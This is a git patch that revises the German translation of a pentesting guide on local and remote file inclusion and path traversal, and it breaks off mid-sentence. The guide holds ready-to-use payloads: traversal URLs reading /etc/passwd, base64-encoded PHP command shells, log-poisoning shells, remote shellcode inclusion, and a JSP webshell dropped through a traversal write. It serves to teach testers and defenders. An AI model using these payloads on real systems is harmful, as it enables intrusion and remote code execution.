From 9737fb897baef5e99ba7c64d0972b92903bd8b49 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 18:21:29 +0000 Subject: [PATCH] Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti --- src/pentesting-web/file-inclusion/README.md | 140 ++++++++++++------ .../xxe-xee-xml-external-entity.md | 97 +++++++----- 2 files changed, 157 insertions(+), 80 deletions(-) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 06f71ca7f..feb59ef15 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -1,8 +1,8 @@ -# Dateieinschluss/Pfad Traversierung +# File Inclusion/Path traversal {{#include ../../banners/hacktricks-training.md}} -## Dateieinschluss +## File Inclusion **Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\ **Local File Inclusion (LFI):** Der Server lädt eine lokale Datei. @@ -49,7 +49,7 @@ Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (u ## Grundlegende LFI und Umgehungen -Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](). +Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](/)). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -59,7 +59,7 @@ http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` -### **Null byte (%00)** +### **Nullbyte (%00)** Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php") ``` @@ -76,30 +76,30 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Aus existierendem Ordner +### Aus vorhandenem Ordner Vielleicht überprüft das Backend den Ordnerpfad: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Erkundung von Dateisystemverzeichnissen auf einem Server +### Erforschen von Dateisystemverzeichnissen auf einem Server -Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen: +Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen: 1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Ordner prüfen:** Hängen Sie den Namen des verdächtigen Ordners (z.B. `private`) an die URL an und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins: +2. **Ordner prüfen:** Hängen Sie den Namen des verdächtigen Ordners (z. B. `private`) an die URL an und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert: - **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort. - **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt. -4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden. +4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden. -Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie: +Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` @@ -111,7 +111,7 @@ In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur d - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt. - Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht. -- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern. +- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen von `/.` am Ende die aufgerufene Datei nicht verändern. Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen): ``` @@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren. -- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren. -- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt. +- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren. +- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Wurzelverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt. - **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet. -Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden. +Beim Einsatz von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden. **Diese Schwachstelle wurde in PHP 5.3 behoben.** @@ -152,10 +152,10 @@ Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` -> [!NOTE] +> [!TIP] > Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird. -Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre: +Ein weiteres Beispiel **ohne die Verwendung des `php://` Protokolls** wäre: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` @@ -220,7 +220,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev - `string.toupper` - `string.tolower` - `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">") -- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist +- Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist. - [Konvertierungsfilter](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` @@ -229,7 +229,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev - `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv..`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l` > [!WARNING] -> Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu verwenden, um willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md). +> Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include dazu zu bringen, willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md). - [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden) @@ -240,7 +240,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev - Andere Filter - Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden: - `consumed` -- `dechunk`: Kehrt die HTTP-chunked Kodierung um +- `dechunk`: Kehrt die HTTP-Chunked-Kodierung um - `convert.*` ```php # String Filters @@ -281,13 +281,13 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, - Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst. - Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist. - Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen. -- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert. -- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben). -- Wenn das Anfangszeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren. -- Das endgültige Problem besteht darin, **wie man mehr als den Anfangsbuchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten. -- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und die **Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen. +- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert. +- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben). +- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren. +- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten. +- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen. -Im Beitrag wurde auch ein Tool zum automatischen Ausführen dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd @@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php ``` Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte. -In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden. +In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden. Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument: @@ -370,9 +370,9 @@ phar-deserialization.md ### CVE-2024-2961 -Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Eine sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern, um in jede Adresse schreiben zu können**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\ -Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter ausgenutzt wurden. +Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt**, zu missbrauchen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Eine sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\ +Es war möglich, Blöcke spezifischer Größen durch den Missbrauch weiterer PHP-Filter zuzuweisen. ### Weitere Protokolle @@ -408,34 +408,80 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**. ## PHP Blind Path Traversal > [!WARNING] -> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) und der Inhalt nicht angezeigt wird. +> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird. In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**. Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst. -Dann wird, um das erste Zeichen zu leaken, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**. +Um dann das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**. -**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel, das nur damit gelesen werden kann)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Für technische Details siehe den genannten Beitrag! +Für die technischen Details siehe den genannten Beitrag! ## LFI2RCE -### Remote File Inclusion +### Arbitrary File Write via Path Traversal (Webshell RCE) + +Wenn serverseitiger Code, der Dateien aufnimmt/hinauflädt, den Zielpfad unter Verwendung von benutzergesteuerten Daten (z. B. einem Dateinamen oder einer URL) ohne Kanonisierung und Validierung erstellt, können `..`-Segmente und absolute Pfade das beabsichtigte Verzeichnis verlassen und einen beliebigen Dateischreibvorgang verursachen. Wenn Sie die Payload in ein web-exponiertes Verzeichnis platzieren können, erhalten Sie normalerweise eine nicht authentifizierte RCE, indem Sie eine Webshell ablegen. + +Typischer Exploit-Workflow: +- Identifizieren Sie eine Schreibprimitive in einem Endpunkt oder Hintergrunddienst, der einen Pfad/Dateinamen akzeptiert und Inhalte auf die Festplatte schreibt (z. B. nachrichtengetriebene Aufnahme, XML/JSON-Befehlsverarbeiter, ZIP-Extractor usw.). +- Bestimmen Sie web-exponierte Verzeichnisse. Häufige Beispiele: +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → `shell.jsp` ablegen +- IIS: `C:\inetpub\wwwroot\` → `shell.aspx` ablegen +- Erstellen Sie einen Traversal-Pfad, der aus dem beabsichtigten Speicherverzeichnis in das Webroot ausbricht, und fügen Sie den Inhalt Ihrer Webshell hinzu. +- Greifen Sie auf die abgelegte Payload zu und führen Sie Befehle aus. + +Hinweise: +- Der anfällige Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port lauschen (z. B. ein JMF XML-Listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später Ihre Payload bereitstellen. +- In Java-Stacks werden diese Dateischreibvorgänge oft mit einfacher `File`/`Paths`-Verkettung implementiert. Mangelnde Kanonisierung/Allow-Listing ist der Kernfehler. + +Generisches XML/JMF-Stilbeispiel (Produkt-Schemas variieren – der DOCTYPE-/Body-Wrapper ist für die Traversierung irrelevant): +```xml + + + + +../../../webapps/ROOT/shell.jsp + + +<% +String c = request.getParameter("cmd"); +if (c != null) { +Process p = Runtime.getRuntime().exec(c); +try (var in = p.getInputStream(); var out = response.getOutputStream()) { +in.transferTo(out); +} +} +%> +]]> + + + +``` +Härtung, die diese Klasse von Bugs besiegt: +- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachkomme eines erlaubten Basisverzeichnisses ist. +- Jeden Pfad ablehnen, der `..`, absolute Wurzeln oder Laufwerksbuchstaben enthält; generierte Dateinamen bevorzugen. +- Den Schreiber als Konto mit niedrigen Rechten ausführen und Schreibverzeichnisse von den bereitgestellten Wurzeln trennen. + +## Remote File Inclusion Wie zuvor erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion). ### Über Apache/Nginx-Protokolldatei -Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **``** setzen und diese Datei einfügen. +Wenn der Apache- oder Nginx-Server **anfällig für LFI** innerhalb der Include-Funktion ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **``** setzen und diese Datei einfügen. > [!WARNING] -> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für die Zeichenfolge "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**. +> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**. > -> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden. +> Stellen Sie außerdem sicher, dass Sie **die Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden. -Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\ +Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig,** der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\ Andere mögliche Protokollpfade: ```python /var/log/apache2/access.log @@ -457,7 +503,7 @@ Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi ### Via /proc/\*/fd/\* 1. Laden Sie viele Shells hoch (zum Beispiel: 100) -2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden) +2. Fügen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden) ### Via /proc/self/environ @@ -513,7 +559,7 @@ Die Protokolle für den FTP-Server vsftpd befinden sich in _**/var/log/vsftpd.lo ### Via php base64 filter (using base64) -Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast: +Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können das verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -521,7 +567,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen. +Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen. {{#ref}} lfi2rce-via-php-filters.md @@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Dann wird die **temporäre Datei nicht gelöscht** und Sie können danach suchen. +**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können danach suchen. {{#ref}} lfi2rce-via-segmentation-fault.md @@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten: +Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten: {{#ref}} via-php_session_upload_progress.md @@ -561,13 +607,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript 